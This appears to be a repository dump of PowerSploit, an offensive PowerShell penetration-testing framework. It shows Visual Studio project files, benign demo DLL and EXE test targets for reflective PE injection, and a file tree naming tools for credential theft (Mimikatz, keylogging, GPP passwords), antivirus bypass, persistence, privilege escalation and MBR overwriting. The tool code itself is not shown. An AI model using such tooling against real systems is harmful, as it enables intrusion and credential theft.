<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="DemoDLL.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="DemoDLL.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DemoDLL.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="DemoDLL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/ReadMe.txt
================================================
========================================================================
DYNAMIC LINK LIBRARY : DemoDLL Project Overview
========================================================================
AppWizard has created this DemoDLL DLL for you.
This file contains a summary of what you will find in each of the files that
make up your DemoDLL application.
DemoDLL.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
DemoDLL.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
DemoDLL.cpp
This is the main DLL source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named DemoDLL.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/dllmain.cpp
================================================
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/stdafx.cpp
================================================
// stdafx.cpp : source file that includes just the standard includes
// DemoDLL.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/stdafx.h
================================================
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
#include <string>
#include <ostream>
#include <sstream>
#include <iostream>
// TODO: reference additional headers your program requires here
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/targetver.h
================================================
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL.sln
================================================
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDLL", "DemoDLL\DemoDLL.vcxproj", "{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|Win32.ActiveCfg = Debug|Win32
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|Win32.Build.0 = Debug|Win32
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|x64.ActiveCfg = Debug|x64
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|x64.Build.0 = Debug|x64
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|Win32.ActiveCfg = Release|Win32
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|Win32.Build.0 = Release|Win32
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|x64.ActiveCfg = Release|x64
{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.cpp
================================================
// DemoDLL_RemoteProcess.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
using namespace std;
extern "C" __declspec( dllexport ) void VoidFunc();
extern "C" __declspec( dllexport ) void VoidFunc()
{
ofstream myfile;
_mkdir("c:\\ReflectiveLoaderTest");
myfile.open ("c:\\ReflectiveLoaderTest\\DllVoidFunction.txt");
myfile << "Dll Void function successfully called.\n";
myfile.close();
return;
}
================================================
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3C031A7E-A99B-465E-ADF0-1350A94F1F5D}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>DemoDLL_RemoteProcess</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationT
gitextract_db7uw124/ ├── .gitignore ├── AntivirusBypass/ │ ├── AntivirusBypass.psd1 │ ├── AntivirusBypass.psm1 │ ├── Find-AVSignature.ps1 │ └── Usage.md ├── CodeExecution/ │ ├── CodeExecution.psd1 │ ├── CodeExecution.psm1 │ ├── Invoke-DllInjection.ps1 │ ├── Invoke-ReflectivePEInjection.ps1 │ ├── Invoke-ReflectivePEInjection_Resources/ │ │ ├── DemoDLL/ │ │ │ ├── DemoDLL/ │ │ │ │ ├── DemoDLL.cpp │ │ │ │ ├── DemoDLL.h │ │ │ │ ├── DemoDLL.vcxproj │ │ │ │ ├── DemoDLL.vcxproj.filters │ │ │ │ ├── ReadMe.txt │ │ │ │ ├── dllmain.cpp │ │ │ │ ├── stdafx.cpp │ │ │ │ ├── stdafx.h │ │ │ │ └── targetver.h │ │ │ └── DemoDLL.sln │ │ ├── DemoDLL_RemoteProcess/ │ │ │ ├── DemoDLL_RemoteProcess/ │ │ │ │ ├── DemoDLL_RemoteProcess.cpp │ │ │ │ ├── DemoDLL_RemoteProcess.vcxproj │ │ │ │ ├── DemoDLL_RemoteProcess.vcxproj.filters │ │ │ │ ├── ReadMe.txt │ │ │ │ ├── dllmain.cpp │ │ │ │ ├── stdafx.cpp │ │ │ │ ├── stdafx.h │ │ │ │ └── targetver.h │ │ │ └── DemoDLL_RemoteProcess.sln │ │ ├── DemoExe/ │ │ │ ├── DemoExe.sln │ │ │ ├── DemoExe_MD/ │ │ │ │ ├── DemoExe_MD.cpp │ │ │ │ ├── DemoExe_MD.vcxproj │ │ │ │ ├── DemoExe_MD.vcxproj.filters │ │ │ │ ├── ReadMe.txt │ │ │ │ ├── stdafx.cpp │ │ │ │ ├── stdafx.h │ │ │ │ └── targetver.h │ │ │ └── DemoExe_MDd/ │ │ │ ├── DemoExe_MDd.cpp │ │ │ ├── DemoExe_MDd.vcxproj │ │ │ ├── DemoExe_MDd.vcxproj.filters │ │ │ ├── ReadMe.txt │ │ │ ├── stdafx.cpp │ │ │ ├── stdafx.h │ │ │ └── targetver.h │ │ ├── ExeToInjectInTo/ │ │ │ ├── ExeToInjectInTo/ │ │ │ │ ├── ExeToInjectInTo.cpp │ │ │ │ ├── ExeToInjectInTo.vcxproj │ │ │ │ ├── ExeToInjectInTo.vcxproj.filters │ │ │ │ ├── ReadMe.txt │ │ │ │ ├── stdafx.cpp │ │ │ │ ├── stdafx.h │ │ │ │ └── targetver.h │ │ │ └── ExeToInjectInTo.sln │ │ └── Shellcode/ │ │ ├── readme.txt │ │ ├── x64/ │ │ │ ├── CallDllMain.asm │ │ │ ├── ExitThread.asm │ │ │ ├── GetFuncAddress.asm │ │ │ └── LoadLibraryA.asm │ │ └── x86/ │ │ ├── CallDllMain.asm │ │ ├── ExitThread.asm │ │ └── GetProcAddress.asm │ ├── Invoke-Shellcode.ps1 │ ├── Invoke-WmiCommand.ps1 │ └── Usage.md ├── Exfiltration/ │ ├── Exfiltration.psd1 │ ├── Exfiltration.psm1 │ ├── Get-GPPAutologon.ps1 │ ├── Get-GPPPassword.ps1 │ ├── Get-Keystrokes.ps1 │ ├── Get-MicrophoneAudio.ps1 │ ├── Get-TimedScreenshot.ps1 │ ├── Get-VaultCredential.ps1 │ ├── Get-VaultCredential.ps1xml │ ├── Invoke-CredentialInjection.ps1 │ ├── Invoke-Mimikatz.ps1 │ ├── Invoke-NinjaCopy.ps1 │ ├── Invoke-TokenManipulation.ps1 │ ├── LogonUser/ │ │ └── LogonUser/ │ │ ├── LogonUser/ │ │ │ ├── LogonUser.cpp │ │ │ ├── LogonUser.vcxproj │ │ │ ├── LogonUser.vcxproj.filters │ │ │ ├── ReadMe.txt │ │ │ ├── stdafx.cpp │ │ │ ├── stdafx.h │ │ │ └── targetver.h │ │ ├── LogonUser.sln │ │ └── logon/ │ │ ├── ReadMe.txt │ │ ├── dllmain.cpp │ │ ├── logon.cpp │ │ ├── logon.vcxproj │ │ ├── logon.vcxproj.filters │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ └── targetver.h │ ├── NTFSParser/ │ │ ├── NTFSParser/ │ │ │ ├── NTFS.h │ │ │ ├── NTFSParser.cpp │ │ │ ├── NTFSParser.vcxproj │ │ │ ├── NTFSParser.vcxproj.filters │ │ │ ├── NTFS_Attribute.h │ │ │ ├── NTFS_Common.h │ │ │ ├── NTFS_DataType.h │ │ │ ├── NTFS_FileRecord.h │ │ │ ├── ReadMe.txt │ │ │ ├── stdafx.cpp │ │ │ ├── stdafx.h │ │ │ └── targetver.h │ │ ├── NTFSParser.sln │ │ └── NTFSParserDLL/ │ │ ├── NTFS.h │ │ ├── NTFSParserDLL.cpp │ │ ├── NTFSParserDLL.vcxproj │ │ ├── NTFSParserDLL.vcxproj.filters │ │ ├── NTFS_Attribute.h │ │ ├── NTFS_Common.h │ │ ├── NTFS_DataType.h │ │ ├── NTFS_FileRecord.h │ │ ├── ReadMe.txt │ │ ├── dllmain.cpp │ │ ├── stdafx.cpp │ │ ├── stdafx.h │ │ └── targetver.h │ ├── Out-Minidump.ps1 │ ├── Usage.md │ └── VolumeShadowCopyTools.ps1 ├── LICENSE ├── Mayhem/ │ ├── Mayhem.psd1 │ ├── Mayhem.psm1 │ └── Usage.md ├── Persistence/ │ ├── Persistence.psd1 │ ├── Persistence.psm1 │ └── Usage.md ├── PowerSploit.psd1 ├── PowerSploit.psm1 ├── PowerSploit.pssproj ├── PowerSploit.sln ├── Privesc/ │ ├── Get-System.ps1 │ ├── PowerUp.ps1 │ ├── Privesc.psd1 │ ├── Privesc.psm1 │ └── README.md ├── README.md ├── Recon/ │ ├── Dictionaries/ │ │ ├── admin.txt │ │ ├── generic.txt │ │ └── sharepoint.txt │ ├── Get-ComputerDetail.ps1 │ ├── Get-HttpStatus.ps1 │ ├── Invoke-CompareAttributesForClass.ps1 │ ├── Invoke-Portscan.ps1 │ ├── Invoke-ReverseDnsLookup.ps1 │ ├── PowerView.ps1 │ ├── README.md │ ├── Recon.psd1 │ └── Recon.psm1 ├── ScriptModification/ │ ├── Out-CompressedDll.ps1 │ ├── Out-EncodedCommand.ps1 │ ├── Out-EncryptedScript.ps1 │ ├── Remove-Comment.ps1 │ ├── ScriptModification.psd1 │ ├── ScriptModification.psm1 │ └── Usage.md ├── Tests/ │ ├── CodeExecution.tests.ps1 │ ├── Exfiltration.tests.ps1 │ ├── PowerSploit.tests.ps1 │ ├── Privesc.tests.ps1 │ └── Recon.tests.ps1 ├── docs/ │ ├── AntivirusBypass/ │ │ └── Find-AVSignature.md │ ├── CodeExecution/ │ │ ├── Invoke-DllInjection.md │ │ ├── Invoke-ReflectivePEInjection.md │ │ ├── Invoke-Shellcode.md │ │ └── Invoke-WmiCommand.md │ ├── Mayhem/ │ │ ├── Set-CriticalProcess.md │ │ └── Set-MasterBootRecord.md │ ├── Persistence/ │ │ ├── Add-Persistence.md │ │ ├── Get-SecurityPackage.md │ │ ├── Install-SSP.md │ │ ├── New-ElevatedPersistenceOption.md │ │ └── New-UserPersistenceOption.md │ ├── Privesc/ │ │ ├── Add-ServiceDacl.md │ │ ├── Enable-Privilege.md │ │ ├── Find-PathDLLHijack.md │ │ ├── Find-ProcessDLLHijack.md │ │ ├── Get-ApplicationHost.md │ │ ├── Get-CachedGPPPassword.md │ │ ├── Get-ModifiablePath.md │ │ ├── Get-ModifiableRegistryAutoRun.md │ │ ├── Get-ModifiableScheduledTaskFile.md │ │ ├── Get-ModifiableService.md │ │ ├── Get-ModifiableServiceFile.md │ │ ├── Get-ProcessTokenGroup.md │ │ ├── Get-ProcessTokenPrivilege.md │ │ ├── Get-RegistryAlwaysInstallElevated.md │ │ ├── Get-RegistryAutoLogon.md │ │ ├── Get-ServiceDetail.md │ │ ├── Get-SiteListPassword.md │ │ ├── Get-System.md │ │ ├── Get-UnattendedInstallFile.md │ │ ├── Get-UnquotedService.md │ │ ├── Get-WebConfig.md │ │ ├── Install-ServiceBinary.md │ │ ├── Invoke-PrivescAudit.md │ │ ├── Invoke-ServiceAbuse.md │ │ ├── Invoke-WScriptUACBypass.md │ │ ├── Restore-ServiceBinary.md │ │ ├── Set-ServiceBinaryPath.md │ │ ├── Test-ServiceDaclPermission.md │ │ ├── Write-HijackDll.md │ │ ├── Write-ServiceBinary.md │ │ ├── Write-UserAddMSI.md │ │ └── index.md │ ├── Recon/ │ │ ├── Add-DomainGroupMember.md │ │ ├── Add-DomainObjectAcl.md │ │ ├── Add-RemoteConnection.md │ │ ├── Convert-ADName.md │ │ ├── ConvertFrom-SID.md │ │ ├── ConvertFrom-UACValue.md │ │ ├── ConvertTo-SID.md │ │ ├── Export-PowerViewCSV.md │ │ ├── Find-DomainLocalGroupMember.md │ │ ├── Find-DomainObjectPropertyOutlier.md │ │ ├── Find-DomainProcess.md │ │ ├── Find-DomainShare.md │ │ ├── Find-DomainUserEvent.md │ │ ├── Find-DomainUserLocation.md │ │ ├── Find-InterestingDomainAcl.md │ │ ├── Find-InterestingDomainShareFile.md │ │ ├── Find-InterestingFile.md │ │ ├── Find-LocalAdminAccess.md │ │ ├── Get-ComputerDetail.md │ │ ├── Get-Domain.md │ │ ├── Get-DomainComputer.md │ │ ├── Get-DomainController.md │ │ ├── Get-DomainDFSShare.md │ │ ├── Get-DomainDNSRecord.md │ │ ├── Get-DomainDNSZone.md │ │ ├── Get-DomainFileServer.md │ │ ├── Get-DomainForeignGroupMember.md │ │ ├── Get-DomainForeignUser.md │ │ ├── Get-DomainGPO.md │ │ ├── Get-DomainGPOComputerLocalGroupMapping.md │ │ ├── Get-DomainGPOLocalGroup.md │ │ ├── Get-DomainGPOUserLocalGroupMapping.md │ │ ├── Get-DomainGroup.md │ │ ├── Get-DomainGroupMember.md │ │ ├── Get-DomainManagedSecurityGroup.md │ │ ├── Get-DomainOU.md │ │ ├── Get-DomainObject.md │ │ ├── Get-DomainObjectAcl.md │ │ ├── Get-DomainPolicy.md │ │ ├── Get-DomainSID.md │ │ ├── Get-DomainSPNTicket.md │ │ ├── Get-DomainSite.md │ │ ├── Get-DomainSubnet.md │ │ ├── Get-DomainTrust.md │ │ ├── Get-DomainTrustMapping.md │ │ ├── Get-DomainUser.md │ │ ├── Get-DomainUserEvent.md │ │ ├── Get-Forest.md │ │ ├── Get-ForestDomain.md │ │ ├── Get-ForestGlobalCatalog.md │ │ ├── Get-ForestTrust.md │ │ ├── Get-HttpStatus.md │ │ ├── Get-NetComputerSiteName.md │ │ ├── Get-NetLocalGroup.md │ │ ├── Get-NetLocalGroupMember.md │ │ ├── Get-NetLoggedon.md │ │ ├── Get-NetRDPSession.md │ │ ├── Get-NetSession.md │ │ ├── Get-NetShare.md │ │ ├── Get-PathAcl.md │ │ ├── Get-RegLoggedOn.md │ │ ├── Get-WMIProcess.md │ │ ├── Get-WMIRegCachedRDPConnection.md │ │ ├── Get-WMIRegLastLoggedOn.md │ │ ├── Get-WMIRegMountedDrive.md │ │ ├── Get-WMIRegProxy.md │ │ ├── Invoke-Kerberoast.md │ │ ├── Invoke-Portscan.md │ │ ├── Invoke-ReverseDnsLookup.md │ │ ├── Invoke-RevertToSelf.md │ │ ├── Invoke-UserImpersonation.md │ │ ├── New-DomainGroup.md │ │ ├── New-DomainUser.md │ │ ├── Remove-RemoteConnection.md │ │ ├── Resolve-IPAddress.md │ │ ├── Set-DomainObject.md │ │ ├── Set-DomainObjectOwner.md │ │ ├── Set-DomainUserPassword.md │ │ ├── Test-AdminAccess.md │ │ └── index.md │ ├── ScriptModification/ │ │ ├── Out-CompressedDll.md │ │ ├── Out-EncodedCommand.md │ │ ├── Out-EncryptedScript.md │ │ └── Remove-Comment.md │ └── index.md └── mkdocs.yml
SYMBOL INDEX (183 symbols across 21 files)
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/DemoDLL.cpp
function VoidFunc (line 33) | __declspec( dllexport ) void VoidFunc()
function wchar_t (line 39) | __declspec( dllexport ) wchar_t* WStringFunc()
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL/DemoDLL/dllmain.cpp
function BOOL (line 4) | BOOL APIENTRY DllMain( HMODULE hModule,
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess.cpp
function VoidFunc (line 11) | __declspec( dllexport ) void VoidFunc()
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoDLL_RemoteProcess/DemoDLL_RemoteProcess/dllmain.cpp
function BOOL (line 6) | BOOL APIENTRY DllMain( HMODULE hModule,
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MD/DemoExe_MD.cpp
function _tmain (line 9) | int _tmain(int argc, _TCHAR* argv[])
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/DemoExe/DemoExe_MDd/DemoExe_MDd.cpp
function _tmain (line 9) | int _tmain(int argc, _TCHAR* argv[])
FILE: CodeExecution/Invoke-ReflectivePEInjection_Resources/ExeToInjectInTo/ExeToInjectInTo/ExeToInjectInTo.cpp
function _tmain (line 9) | int _tmain(int argc, _TCHAR* argv[])
FILE: Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp
function _tmain (line 13) | int _tmain(int argc, _TCHAR* argv[])
function PVOID (line 111) | PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring...
function WriteUnicodeString (line 128) | size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID bas...
FILE: Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp
function BOOL (line 4) | BOOL APIENTRY DllMain( HMODULE hModule,
FILE: Exfiltration/LogonUser/LogonUser/logon/logon.cpp
function VoidFunc (line 19) | __declspec( dllexport ) void VoidFunc()
function PVOID (line 211) | PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* use...
function PVOID (line 229) | PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* use...
function WriteUnicodeString (line 247) | size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PV...
function WriteErrorToPipe (line 257) | void WriteErrorToPipe(string errorMsg, HANDLE pipe)
FILE: Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp
function _tmain (line 29) | int _tmain(int argc, _TCHAR* argv[])
FILE: Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h
type DataRun_Entry (line 24) | typedef struct tagDataRun_Entry
type class (line 31) | typedef class CSList<DataRun_Entry> CDataRunList;
type class (line 37) | typedef class CSList<CIndexEntry> CIndexEntryList;
function class (line 43) | class CAttrBase
function class (line 184) | class CAttrResident : public CAttrBase
function ULONGLONG (line 220) | __inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const
function BOOL (line 230) | BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD ...
function class (line 256) | class CAttrNonResident : public CAttrBase
function BOOL (line 300) | BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, ...
